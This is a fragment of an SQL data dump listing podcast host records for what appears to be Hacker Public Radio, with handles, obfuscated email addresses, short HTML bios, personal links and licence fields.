(288,'beni','hpr.nospam@nospam.hb9hnt.ch','','CC-BY-SA',0,'',1,'beni'),
(289,'pyrrhic','notrofise.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'pyrrhic'),
(290,'Al','al.nospam@nospam.adminadminpodcast.co.uk','','CC-BY-SA',0,'',1,'Al'),
(291,'Rill','jefa.nospam@nospam.lajefa.net','','CC-BY-SA',0,'',1,'Rill'),
(292,'Michal Cieraszynski','planet444.nospam@nospam.gmail.com','I am a electronics and technology enthusiast as well as hobbyist who likes to mess around with computer hardware, video games, and other things in my spare time. https://www.planet444.com, my very neglected website. I only mention it here because one day I may actually update it.','CC-BY-SA',0,'',1,'Michal Cieraszynski'),
(293,'Rho`n','roan.horning.nospam@nospam.gmail.com','How grey does your beard need to be to be a grey beard?\r\n\r\n* Mastodon: @roan@fosstodon.org\r\n* Matrix: @rho_n:matrix.org\r\n','CC-BY-SA',1,'',1,'rowen'),
(294,'daw','douglasawh.nospam@nospam.gmail.com','<p>\r\n<a href=\"https://www.musicmanumit.com\">https://www.musicmanumit.com</a> and <a href=\"https://micro.fragdev.com/daw\">https://micro.fragdev.com/daw</a> are probably all you need. Although, I will say I am moving to Cincinnati summer 2015 and looking for work there (or telecommuting). So, you if you know something, let me know!\r\n</p>','CC-BY-SA',1,'',1,'daw'),
(295,'Cibola Jerry','cibolajerry.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Cibola Jerry'),
(297,'swift110','anthonyvenable110.nospam@nospam.gmail.com','<p>\r\nHello I have been using Linux since 2010 and I learn more and more each day.  My blog can be found at <a href=\"https://anthonyvenable110.wordpress.com\">https://anthonyvenable110.wordpress.com</a>\r\n</p>','CC-BY-SA',0,'',1,'swift110'),
(298,'tcuc','infotcuc.nospam@nospam.gmail.com','<p>The American viking.</p>','CC-BY-SA',0,'',1,'T C U C '),
(299,'Fin','finlaygmitchell.nospam@nospam.gmail.com','','CC-BY-SA',1,'',1,'Fin'),
(300,'Mr. Young','by33zi.nospam@nospam.protonmail.com','<p>\r\nI am a dad, small-business owner, scientist, and Linux enthousiast with a lust for knowledge. You can find me on Mastadon at @ryoung39@mastodon.online\r\n</p>','CC-BY-SA',1,'',1,'b-yeezi'),
(421,'Reto','reto007.nospam@nospam.yahoo.com','<p>Tech enthusiast from Switzerland</p>','CC-BY-SA',0,'',1,'ray toe'),
(301,'Amunizp','amunizp.nospam@nospam.member.fsf.org','<p>\r\nI am a scientist as my day job and in my free time I enjoy being with my family. I also contribute to my local hacerspace/makerspace: <a href=\"https://wiki.richmondmakerlabs.uk/index.php?title=Main_Page\">https://wiki.richmondmakerlabs.uk/index.php?title=Main_Page</a>\r\n</p>\r\n<p>\r\nmy handle at gnusocial is @andresinmp@loadaverage.org\r\n</p>','CC-BY-SA',1,'',1,'A MunizP'),
(302,'Stilvoid','steve.nospam@nospam.offend.me.uk','<p>\r\nDoes things with servers. Deeply embedded in the Linux world with no way out and sees that as a great thing. Father of one. Often too polite.\r\n</p>\r\n<p>\r\nIf you want to know more about me, look here: <a href=\"https://offend.me.uk/about/\">https://offend.me.uk/about/</a> and feel free to get in touch.\r\n</p>','CC-BY-SA',0,'',1,'Stilvoid'),
(303,'Alpha32','andrew.neher1.nospam@nospam.gmail.com','<p>\r\nJust a guy with a microphone. And a computer. and some other stuff, but that\'s not important.\r\n</p>','CC-BY-SA',0,'',1,'Alpha32'),
(306,'GNULinuxRTM','GNULinuxRTM.nospam@nospam.gmail.com','<p>\r\nStarted on the Altair 8800 in 1979 in Middle School (Very lucky to have a teacher who had a Comp Sci Degree).\r\n</p>\r\n<p>\r\nStarted my Comp/Sci Degree in 1984.  They ran UNIX System V with VT220 terminals.  Had to learn VI editor, shell commands and C in first 2 weeks to complete the Lab.  Did some Co-ops Work-Terms, graduated in 1990.\r\n</p>\r\n<p>\r\nDay Job is mostly Microsoft Environment, switched to Linux Mint at home summer of 2014.\r\n</p>\r\n<p>\r\nJust Started an Educational Youtube Channel (April 2015).  I am the Voice of the GNU Bull and my daughter is the voice for the Linux Penguin.  Later added the Blog and Podcast.  Trying to make it Family Friendly and bring life to relatively dry topic - Documentation.\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Blog:  <a href=\"https://GNULinuxRTM.blogspot.com\">https://GNULinuxRTM.blogspot.com</a>\r\n</li>\r\n<li>RSS Feed:  <a href=\"https://feeds.feedburner.com/GNULinuxRTM\">https://feeds.feedburner.com/GNULinuxRTM</a>\r\n</li>\r\n<li>Youtube Channel:  <a href=\"https://www.youtube.com/c/GNULinuxRTMblogspotPlus\">https://www.youtube.com/c/GNULinuxRTMblogspotPlus</a>\r\n</li>\r\n<li>Google+:  <a href=\"https://plus.google.com/+GNULinuxRTMblogspotPlus\">https://plus.google.com/+GNULinuxRTMblogspotPlus</a>\r\n</li>\r\n</ul>','CC-BY-SA',1,'',1,'GNULinuxRTM'),
(305,'kurakura','kurakuradave.nospam@nospam.gmail.com','<p>\r\nLong time listener of HPR, drawn to Linux in 2008, because of the accessibility features (Orca, font size and mouse pointer customizability) which I continue to use daily until today, now plus the screen magnifier. \r\n</p>\r\n<p>\r\nLately, started work on ChorusText, a device built with Arduino, Linux SBC and some sliders, and text-to-speech - an open assistive device for users with visual impairment. The main goal for ChorusText is as a non-visual text editor. Plase see <a href=\"https://www.chorustext.org\">www.chorustext.org</a> for more details\r\n</p>','CC-BY-SA',0,'',1,'kurakura'),
(307,'cheeto4493','Travis.nospam@nospam.travestylabs.com','','CC-BY-SA',0,'',1,'cheeto4 4 9 3'),
(308,'A Shadowy Figure','hpr.saxz.nospam@nospam.9ox.net','<p>\r\nfrom parts unknown, weight unknown, a shadowy figure has a murky past, with a questionable alibi for his whereabouts at any particular time.\r\n</p>\r\n<p>\r\nLikes: hacking, and lurking in shadows.\r\n</p>\r\n<p>\r\nDislikes: Corporate greed, and revealing things about himself.\r\n</p>\r\n<p>\r\nUses Linux as main computing device, windows and mac as back-ups\r\n</p>','CC-BY-SA',1,'',1,'A Shadowy Figure'),
(309,'folky','hpr.nospam@nospam.svenskaa.net','<p>\r\nEveryday GNU/Linux-user, german-speaking, living in northern Europe.\r\n</p>','CC-BY-SA',0,'',1,'folky'),
(311,'clacke','hpr.nospam@nospam.clacke.user.lysator.liu.se','<p>On GNU/Linux since <a href=\"https://www.linux-m68k.org/faq/saynotowatchtower.html\">Amiga Watchtower</a>, using it as my primary OS since Debian Slink, been on Ubuntu ever since it fulfilled the derailed UserLinux dream.</p>\r\n<p>These days I\'m running Ubuntu-Gnome, but I\'m considering NixOS+Guix as my primary OS, with a Debian chroot for the pieces that are missing.</p>\r\n<p>You can find me on the Free social web at <a href=\"https://libranet.de/~clacke\">clacke@libranet.de</a>.</p>\r\n','CC-BY-SA',1,'',1,'clacke'),
(387,'Cedric De Vroey','cedric.nospam@nospam.n0b0t.com','<p>\r\nHi, I\'m Cedric, and I work as a professional pentester. Social engineering, bypassing access controls both physical and digital, that\'s what I live for :-)\r\n</p>','CC-BY-SA',0,'',1,'Cedric De Vroey'),
(388,'Padraig Jeroen Fallon','pakie+hpr.nospam@nospam.bussum.org','<p>I like DND.</p>','CC-BY-SA',0,'',1,'Padraig Jeroen Fallon'),
(310,'Geddes','geddes.linux.nospam@nospam.gmail.com','','CC-BY-SA',1,'',1,'Geddes'),
(312,'Moral Volcano','vsubhash.nospam@nospam.gmail.com','<p>\r\nBlogger. Writer. Developer.\r\n</p>','CC-BY-SA',1,'',1,'Moral Volcano'),
(313,'JustMe','easlingml.nospam@nospam.aliyun.com','<p>I\'ve been in &amp; out of computing since the late 70s.</p>','CC-BY-SA',0,'',1,'JustMe'),
(314,'thelovebug','hpr.nospam@nospam.thelovebug.org','<p>\r\nProfessional database administrator and data manipulator working for a global information company.\r\n<br />\r\nLives in South Yorkshire in the UK.\r\n</p>\r\n<h3>Contact</h3>\r\n\r\n<ul>\r\n<li>GNUsocial: <a href=\"https://s.wefamlee.be/thelovebug\">thelovebug@s.wefamlee.be</a>\r\n</li>\r\n<li>Telegram: <a href=\"https://telegram.me/thelovebug\">https://telegram.me/thelovebug</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nAlso on Twitter, Facebook, Google+ but don\'t use those much.\r\n</p>','CC-BY-SA',0,'',1,'TheLoveBug'),
(315,'Clinton Roy','clinton.roy.nospam@nospam.gmail.com','<p>Clinton Roy is an Open Source engineer.</p>','CC-BY-SA',0,'',1,'Clinton Roy'),
(317,'Eric Duhamel','ericxdu23.nospam@nospam.gmail.com','<p>\r\nI\'m a 30-something programming/computer hobbyist in Southern California.\r\n<br />\r\nSee more on my webpage <a href=\"https://www.noxbanners.net/\">https://www.noxbanners.net/</a> and follow me on <a href=\"https://loadaverage.org/ericxdu23\">https://loadaverage.org/ericxdu23</a>\r\n</p>','CC-BY-SA',0,'',1,'Eric Duhamel'),
(318,'Archer72','ricemark20.nospam@nospam.gmail.com','<p>\r\nI got started in Linux in 2002, with a set of Mandriva CD\'s and have enjoyed using variations ever since.  Currently on Fedora 35.\r\n</p>\r\n<p>\r\nI can be reached as archer72 on IRC on libera.chat on #oggcastplanet and on Mastodon at @archer72@mastodon.sdf.org \r\n</p>','CC-BY-SA',1,'',1,'Archer Seventy Two'),
(319,'OnlyHalfTheTime','onlyhalfthetime.nospam@nospam.gmail.com','<p>The Reluctant Windows Admin</a>','CC-BY-SA',1,'',1,'OnlyHalfTheTime'),
(320,'The Linux Experiment','editor.nospam@nospam.thelinuxexperiment.com','<p>Help us take The Linux Experiment to the next level!</p>','CC-BY-SA',1,'',1,'The Linux Experiment'),
(322,'Cov','cov.nospam@nospam.mykolab.com','<p>\r\nChristopher \"Cov\" Covington is a fan of libre projects, currently living in North Carolina, United States of America. His personal site is <a href=\"https://covlibre.net/\">https://covlibre.net/</a>\r\n</p>','CC-BY-SA',0,'',1,'Cov'),
(323,'Nacho Jordi','ijordiatienza.nospam@nospam.yahoo.es','','CC-BY-SA',0,'',1,'Nacho Jordi'),
(324,'Jon Doe','jondoelocksmith.nospam@nospam.gmail.com','<p>A locksmith by training, I work in physical and digital security, and have some fun with the same by night. </p>','CC-BY-SA',0,'',1,'Jon Doe'),
(325,'m1rr0r5h4d35','m1rr0r5h4d35.nospam@nospam.gmx.com','<p>I\'m this guy who likes computers. Computers and Burger King. </p>','CC-BY-SA',1,'',1,'MirrorShades'),
(326,'Brian in Ohio','bknavarette.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Brian in Ohio'),
(327,'noplacelikeslashhome','nathanpublicinbox.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'NoPlaceLikeSlashHome'),
(328,'Joe','jsilino.nospam@nospam.gmail.com','<p>\r\nHi, I\'m Joe Silino and I live in Upstate NY. I\'ve been using Linux since the late 90\'s and have recently entered the world of sound production. I\'m currently introducing my tech team at church to the benefits of the Open Source world and finding it very useful for many of my projects.\r\n<br />\r\n<a href=https://soundcloud.com/calvaryworshipandtech\">https://soundcloud.com/calvaryworshipandtech</a><br />\r\n<a href=\"https://soundcloud.com/ccsyracuse\">https://soundcloud.com/ccsyracuse</a>\r\n</p>','CC-BY-SA',0,'',1,'Joe'),
(329,'brian','venant.nospam@nospam.protonmail.ch','','CC-BY-SA',0,'',1,'brian'),
(330,'Bitbox','bitbox.nospam@nospam.member.fsf.org','<p>\r\nI\'m a long haul trucker who runs all 48 states here in the US. I really enjoy tinkering with my laptops and used to do a lot of nuke and pave. I am afraid you wont find me on social media nor do I have a website. I don\'t really have much time for that stuff, and I have never been a big social butterfly, anyway. I live in  north east Indiana, in the US. I am a father 3 times over, and Grampa twice over. Been married 26 years (yeah,... a VERY patient woman there). I work between 75 and 85 hrs a week, roughly 70 of it driving. I\'ve been an HPR listener for about 2-3 years now, but as of 15 April 2016, I am just now contributing my first episode (shame...). I will strive to do better, Ken...!<br />\r\n<strong>PS: I really hate seeing people get scraped off the highways. I like tech too, but STOP TEXTING AND PLAYING WITH PHONES WHILE YOU DRIVE, EVERYONE. PLEASE!</strong>\r\n</p>\r\n','CC-BY-SA',0,'',1,'Bitbox'),
(331,'njulian','njulianmallog.nospam@nospam.yahoo.de','','CC-BY-SA',0,'',1,'njulian'),
(332,'schism','alarmdude9.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'schism'),
(333,'pope523','joseph.harris.nospam@nospam.jlharris.net','<p>Former network engineer, now delivery driver.</a>','CC-BY-SA',0,'',1,'pope5 2 3'),
(334,'Steve Saner','hpr.nospam@nospam.saner.net','<p>\r\nI am a farm kid from south-central Kansas. I currently live near the city of Wichita and I am a Systems and Networking Administrator for a local ISP. I have a number of \"hacker friendly\" hobbies that include Amateur Radio and Model Rocketry.\r\n</p>','CC-BY-SA',0,'',1,'Steve Saner'),
(335,'matthew','matthew.nospam@nospam.fairvega.com','<p>I\'m a family guy, a pilot, and a compulsive programmer.</p>','CC-BY-SA',0,'',1,'matthew'),
(336,'Lyle Lastinger','lylelastinger.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Lyle Lastinger'),
(337,'handsome_pirate','jdulaney.nospam@nospam.fedoraproject.org','<p>handsome_pirate (John Dulaney) is a long time contributor to the Fedora Project.  He is an avid rail enthusiast, and considers his model ships to be his artwork.</p>','CC-BY-SA',1,'',1,'handsome_pirate'),
(338,'Tony Hughes AKA TonyH1212','tonyhughes1958.nospam@nospam.gmail.com','<p>\r\nI\'m a middle age bloke who enjoys using and talking about computers and open source software. I started using Linux in 2006 and have been using it as my Operating System on all my PC\'s for the last 7 years. I\'m also an avid cook and enjoy creating new vegetarian recipes as I have been a vegetarian for over 26 years. <br />\r\nI have an occasional Blog at: <a href=\"https://tony-hughes.blogspot.co.uk/\">https://tony-hughes.blogspot.co.uk/<a/>\r\n</p>','CC-BY-SA',0,'',1,'Tony Hughes A.K.A TonyH1 2 1 2'),
(339,'Todd Mitchell','Todd.nospam@nospam.codewriteplay.com','<p>\r\nMidwest US-based freelance entertainment journalist focused on the game industry. Former professional software developer and current indie game hobbyist. \r\n</p>\r\n<p>\r\nTwitter: <a href=\"https://twitter.com/Mechatodzilla\">@Mechatodzilla</a>\r\n</p>\r\n<p>\r\n<a href=\"https://CodeWritePlay.com\">CodeWritePlay.com</a>\r\n</p>\r\n','CC-BY-SA',1,'',1,'Todd Mitchell'),
(340,'mattkingusa','Matt.nospam@nospam.autumnstreetrecords.com','<p>\r\nHi im matt king. I produce music on linux and i try and code wesites. :)\r\n</p>','CC-BY-SA',0,'',1,'MattKingUSA'),
(359,'The Alien Brothers Podcast (ABP)','alienbrotherspc.nospam@nospam.gmail.com','<p>\r\nThe Alien Brothers Podcast is written?, recorded, and produced? by Rutiger and Casper.  Check out their noise experiments here (on hpr)\r\n</p>','CC-BY-SA',1,'',1,'The Alien Brothers Podcast (ABP)'),
(360,'Joey Hess','id.nospam@nospam.joeyh.name','<p><a href=\"https://joeyh.name/\">https://joeyh.name/</a></p>','CC-BY-SA',0,'',1,'Joey Hess'),
(342,'norrist','norrist.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'norrist'),
(2,'Kn1ghtl0rd','kn1ghtl0rd.nospam@nospam.hotmail.com','https://www.kn1ghtl0rd.org','CC-BY-SA',0,'',1,'Kn1ghtl0rd'),
(4,'Phizone','phizone.nospam@nospam.infonomicon.org','https://infonomicon.org','CC-BY-SA',0,'',1,'Phizone'),
(5,'Scedha','scheda.nospam@nospam.gmail.com','https://underfirenetwork.com','CC-BY-SA',0,'',1,'Scedha'),
(6,'J-Hood','JHood.nospam@nospam.JHood.biz','https://tehshow.org','CC-BY-SA',0,'',1,'J-Hood'),
(8,'LinLin','will.nospam@nospam.techcentric.org','https://www.techcentric.org','CC-BY-SA',0,'',1,'LinLin'),
(9,'Irongeek','irongeek.nospam@nospam.irongeek.com','https://irongeek.com','CC-BY-SA',0,'',1,'Irongeek'),
(10,'p0trill0','p0trill023.nospam@nospam.gmail.com','https://twatech.org','CC-BY-SA',0,'',1,'potrillo'),
(11,'Pat from TLLTS','patrickmdavila.nospam@nospam.gmail.com','Co-host of the The Linux Link Tech Show. Former host of the MythTVCast.','CC-BY-SA',0,'',1,'Pat from The Linux Link Tech Show'),
(12,'livinded','livinded.nospam@nospam.gmail.com','https://deadbytes.net','CC-BY-SA',0,'',1,'livinded'),
(13,'Jason Scott','jason.nospam@nospam.textfiles.com','https://www.textfiles.com','CC-BY-SA',0,'',1,'Jason Scott'),
(14,'Blackratchet','blackratchet.nospam@nospam.blackratchet.org','https://www.binrev.com','CC-BY-SA',0,'',1,'Blackratchet'),
(15,'Merk','Merk.nospam@nospam.iname.com','https://google.com','CC-BY-SA',0,'',1,'Merk'),
(16,'Madjimisimi','madjimisimi.nospam@nospam.gmail.com','https://google.com','CC-BY-SA',0,'',1,'Madjimisimi'),
(17,'Pixelfiend','pxfiend.nospam@nospam.gmail.com','https://google.com','CC-BY-SA',0,'',1,'Pixelfiend'),
(19,'Luminaire','salveya.nospam@nospam.gmail.com','https://google.com','CC-BY-SA',0,'',1,'Luminaire'),
(20,'Dominic Uilano','123.nospam@nospam.gmail.com','https://google.com','CC-BY-SA',0,'',1,'Dominic Uilano'),
(21,'Killersmurf','ksmurf99.nospam@nospam.gmail.com','https://google.com','CC-BY-SA',0,'',1,'Killersmurf'),
(22,'Electroman','electroman37.nospam@nospam.gmail.com','https://electrostuff.net','CC-BY-SA',0,'',1,'Electroman'),
(23,'Lowtek Mystik','lowtekmystik.nospam@nospam.walla.com','https://ninjanightschool.com/','CC-BY-SA',0,'',1,'Lowtek Mystik'),
(26,'ponyboy','cliffstoll.nospam@nospam.gmail.com','https://bellcoreradio.net/','CC-BY-SA',0,'',1,'ponyboy'),
(27,'Dr^ZigMan','drzigman.nospam@nospam.bellsouth.net','https://binrev.com','CC-BY-SA',0,'',1,'Dr^ZigMan'),
(28,'Kynan Dent','kynan.nospam@nospam.kynan.org','https://kynan.org','CC-BY-SA',0,'',1,'Kynan Dent'),
(31,'Xcalibur','xcalibur1337.nospam@nospam.gmail.com','https://www.google.com','CC-BY-SA',0,'',1,'Xcalibur'),
(32,'Metatron','metatron.nospam@nospam.fbillradio.com','','CC-BY-SA',0,'',1,'Metatron'),
(33,'dual_parallel','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'dual_parallel'),
(34,'Coder365','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'Coder365'),
(35,'Cottonballs','cottonballz.nospam@nospam.gmail.com','https://www.google.com','CC-BY-SA',0,'',1,'Cottonballs'),
(37,'Haq','burnmytime.nospam@nospam.gmail.com','https://www.google.com','CC-BY-SA',0,'',1,'Haq'),
(40,'coldsteal','antonnid.nospam@nospam.gmail.com','https://www.i-trash.org','CC-BY-SA',0,'',1,'coldsteal'),
(43,'GeoNine','projektdiscon.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'GeoNine'),
(44,'spiffytech','spiffytech.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'spiffytech'),
(45,'L3pprd/ocCode','l3pprd.nospam@nospam.gmail.com','https://occ0de.wordpress.com','CC-BY-SA',0,'',1,'L3pprd/ocCode'),
(46,'blackmath','blckmth.nospam@nospam.gmail.com','https://blackmath.org','CC-BY-SA',0,'',1,'blackmath'),
(47,'cid','cidviscous.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'cid'),
(49,'kotrin','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'kotrin'),
(50,'Dospod','drewmarin.nospam@nospam.gmail.com','https://dospod.i-trash.org','CC-BY-SA',0,'',1,'Dospod'),
(51,'Messyman','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'Messyman'),
(52,'javatard','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'javatard'),
(53,'Zach','admin.nospam@nospam.hackerpublicradio.org','https://packetsniffers.org','CC-BY-SA',0,'',1,'Zach'),
(54,'skrye','skrye.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'skrye'),
(56,'riscphree','riscphree.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'riscphree'),
(59,'MrE','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'MrE'),
(60,'Faceman','lt.faceman.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Faceman'),
(61,'DarkShadow','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'DarkShadow'),
(63,'spaceout','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'spaceout'),
(65,'ThoughtPhreaker','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'ThoughtPhreaker'),
(66,'Adam','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'Adam'),
(67,'Draven','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'Draven'),
(68,'Mc Frontalot','admin.nospam@nospam.hackerpublicradio.org','https://frontalot.com','CC-BY-SA',0,'',1,'Mc Frontalot'),
(343,'The Bishop','bishop-hpr.nospam@nospam.mondkalbantrieb.de','<p>\r\nHi, i am The Bishop from Berlin/Germany.<br />\r\nMy computer experience started more than 30 years ago with Commodore Plus 4 and Commodore 64. Later on i continued with Commodore Amiga 500 and Amiga 1200. My first PC was an 80286-based. I started using Linux with Slackware 3.2(?) and Kernel 2.0.20.\r\n</p>\r\n<p>\r\nMy favourite topics are compression technology and cryptography. I\'m a guy interested in low level stuff down to the raw bits, i leave the modern GUI-programming for others.\r\n</p>','CC-BY-SA',1,'',1,'The Bishop'),
(344,'spaceman','admin.nospam@nospam.hackerpublicradio.org','<ul>\r\n<li><a href=\"https://qzc3ou3vccr3yjyg.onion/\">https://qzc3ou3vccr3yjyg.onion/</a></li>\r\n<li><a href=\"https://loadaverage.org/spaceman\">https://loadaverage.org/spaceman</a></li>\r\n</ul>','CC-BY-SA',1,'',1,'spaceman'),
(346,'Bill \"NFMZ1\" Miller','thenfmz1.nospam@nospam.gmail.com','<p>\r\nOld man who loves tech and discussing everything tech wise. A master of none. Love the outdoors and being a dad.\r\n</p>','CC-BY-SA',1,'',1,'Bill \"NFMZ1\" Miller'),
(348,'Reg A','krtariles.nospam@nospam.gmail.com','<p>\r\nI\'m an old retired dude. Former US Air Force and US Army living in the state of Georgia, USA with plenty time on my hands to mess with computers and electronic devices.\r\n</p>','CC-BY-SA',0,'',1,'Reg A'),
(349,'Hannah, of Terra, of Sol','spacehanners.nospam@nospam.gmail.com','<p>\r\nI\'m down with the space, and ASIC. Let\'s look at the stars with python and an antenna. \r\n</p>','CC-BY-SA',0,'',1,'Hannah, of Terra, of Sol'),
(350,'BobJonkman','bjonkman+hpr.nospam@nospam.sobac.com','<p>Bob Jonkman works with computers. He\'s an instructor, project manager and system administrator. In another life he dabbles in politics, too.</p>','CC-BY-SA',1,'',1,'BobJonkman'),
(351,'@einebiene','postfach.nospam@nospam.einebiene.de','','CC-BY-SA',0,'',1,'@EinerBeener'),
(352,'fth','freakdoesgeek.nospam@nospam.gmail.com','<p>\r\nA free and libre software end user with admiration for the community.\r\n</p>\r\n<p>\r\n@fth_nix on twitter\r\n</p>\r\n','CC-BY-SA',0,'',1,'fth'),
(353,'venam','patrick.nospam@nospam.iotek.org','<ul>\r\n<li>venam from <a href=\"https://nixers.net\">https://nixers.net</a>\r\n</li>\r\n<li>Patreon: <a href=\"https://www.patreon.com/venam\">https://www.patreon.com/venam</a>\r\n</li>\r\n<li>Blog: <a href=\"https://venam.nixers.net\">https://venam.nixers.net</a>\r\n</li>\r\n</ul>','CC-BY-SA',1,'',1,'venam'),
(354,'TheDUDE','jstahlman13.nospam@nospam.gmail.com','<pre>\r\nTheD|_|D3\r\n</pre>','CC-BY-SA',0,'',1,'TheDUDE'),
(355,'Knox','jrknox1977.nospam@nospam.gmail.com','<p>\r\nI am a life long tech geek. I love all things tech. I started with a TRS-80 Model 3 in 6th grade and have never looked back! \r\n</p>','CC-BY-SA',0,'',1,'Knox'),
(356,'Mongo','mongo.nospam@nospam.mailfence.com','<p>\r\nI am a retired former Systems Administrator. The last almost 20 years was supporting Windows servers. After retiring, I still wanted to play with computers, but need to keep costs reasonable. When Windows XP went unsupported, I found a nice Linux replacement for my old netbook. Now, a couple years later, I am getting serious about switching. This project is part of my path to freedom.\r\n</p>','CC-BY-SA',0,'',1,'Mongo'),
(357,'bjb','bjb.nospam@nospam.sourcerer.ca','','CC-BY-SA',0,'',1,'bjb'),
(358,'Ironic Sodium','ironic.sodium.42.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Ironic Sodium'),
(361,'Aaressaar','sundaryourfriend.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Aaressaar'),
(362,'MPardo','mpardohpr.nospam@nospam.gmail.com','','CC-0',0,'',1,'MPardo'),
(363,'the_remora','HPR+the_remora.nospam@nospam.theremora.me','<p>\r\nI enjoy messing with Linux, Playing Board Games, Role-Playing Games and LARPING\r\n</p>','CC-BY-SA',1,'',1,'the_remora'),
(364,'tuturto','tuukka.turto.nospam@nospam.oktaeder.net','<!-- test --><p>\r\nEternal tinkerer of code, who occasionally writes things down at <a href=\"https://engineersjourney.wordpress.com/\">https://engineersjourney.wordpress.com/</a>\r\n or contributes to hylang project at <a href=\"https://github.com/hylang/hy\">https://github.com/hylang/hy</a>\r\n</p>','CC-BY-SA',0,'',1,'tuku toor o toe'),
(365,'Bookewyrmm','tasettle.nospam@nospam.gmail.com','A man, out, standing, in his field','CC-BY-SA',0,'',1,'bookworm'),
(381,'Nihilazo','nico.nospam@nospam.itwont.work','<p>I\'m just a person. I blog @ <a href=\"itwont.work\">https://itwont.work/</a></p>','CC-BY-SA',1,'',1,'Niel azo'),
(366,'Philip','philip.nospam@nospam.shutdown.network','','CC-BY-SA',0,'',1,'Philip'),
(368,'Xtrato','james.nospam@nospam.jamesdotcom.com','<p>Interested in Network security and Technology</p>','CC-BY-SA',0,'',1,'Xtrato'),
(369,'Jeroen Baten','jbaten.nospam@nospam.i2rs.nl','<p>\r\nI solve IT problems. I connect system A with system B. I teach people stuff. I do this mostly with Linux systems. To make stuff happen I write a lot of custom scripts in various programming lanuages like Perl, Python, Bash, C, Java, Ruby, etc. I have clients all over the world (Australia, Switserland, US, etc).\r\n</p>\r\n<p>\r\nI am also the project leader of the open source LibrePlan project. So go to that site if you need more information about an open source webbased project management application.\r\n</p>\r\n<p>\r\nI occasionally write an article for my blog, but I have also written a number of books:\r\n</p>\r\n<ul>\r\n<li>Jumpstart your business with Odoo 12</li>\r\n<li>LPI Essentials (Dutch)</li>\r\n<li>LibrePlan, the missing manual (English)</li>\r\n</ul>\r\n<p>\r\nIf you have a question, please contact me at jeroen@jeroenbaten.nl.\r\n</p>\r\n<p>\r\nHave a nice day.\r\n</p>','CC-BY-SA',0,'',1,'Jeroen Baten'),
(370,'Yannick','yannick.nospam@nospam.frenchguy.ch','<p>\r\nI\'m Yannick. I\'m french, I live in Switzerland. Hence, the french guy from Switzerland !<br />\r\nI\'m a geek, a father, a podcaster.<br />\r\nI\'m interested in programming, of all sorts, in all kinds of languages.<br />\r\nI like to tinker with basic electronics components, especially LEDs !<br />\r\nI have half a dozen Raspberry Pis, and probably twice that amount of micro controllers of all sorts.<br />\r\nI have many websites :\r\n</p>\r\n<ul>\r\n<li><a href=\"https://frenchguy.ch\">https://frenchguy.ch</a></li>\r\n<li><a href=\"https://theawesomejinglefactory.frenchguy.ch/\">https://theawesomejinglefactory.frenchguy.ch/</a></li>\r\n<li><a href=\"https://euterpiaradio.ch\">https://euterpiaradio.ch</a></li>\r\n</ul>','CC-0',0,'',1,'Yannick'),
(371,'desearcher','desearcher.nospam@nospam.gmail.com','<p> Hello, World! </p> <p> I\'m just a TRS-80 that grows algae while my code compiles. </p> <p> Sometimes I beep. </p>','CC-BY-SA',0,'',1,'de searcher'),
(372,'Edward Miro / c1ph0r','c1ph0r.nospam@nospam.protonmail.com','<p>\r\nJust an old dude from the internet.\r\n<br />\r\n<br />\r\nI gave a talk at a local hacker con once about vehicle based surveillance.\r\nI also contributed to a privacy/hacking project called <a href=\"https://shadowlinkit.com/\">Shadowlink </a>with the main focus being the NetP Wiki (The NetP Wiki is a fully collaborative and dynamic guide designed to help navigate the world of privacy &amp; anonymity).\r\n<br />\r\n<br />\r\nCurrently moving prior blogs and content over to my GitHub Page:\r\n<a href=\"https://c1ph0r.github.io/\">https://c1ph0r.github.io/ </a>\r\n<br />\r\n<br />\r\nPrevious episodes:<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2707\">hpr2707 :: Steganalysis 101 </a>\r\n</p>\r\n','CC-BY-SA',0,'',1,'Edward Miero'),
(373,'Floyd C Poynter','Floyd.C.Poynter.nospam@nospam.protonmail.com','','CC-BY-SA',0,'',1,'Floyd C Poynter'),
(374,'aldenp','alden.peeters.nospam@nospam.leagueh.xyz','<p>\r\nOpen source and decentralization/P2P enthusiast\r\n</p>','CC-BY-SA',1,'',1,'aldenp'),
(375,'minnix','minnix.nospam@nospam.minnix.dev','find me on mastodon: @minnix@upallnight.minnix.dev\r\n\r\nfind me on matrix: @minnix:minnix.dev\r\n\r\nfind me on peertube: https://nightshift.minnix.dev/c/nightshift/videos?s=1\r\n\r\nfind me on funkwhale: @minnix@allnightlong.minnix.dev\r\n\r\nfind me in your ears: https://linuxlugcast.com/','CC-0',0,'',1,'minnix'),
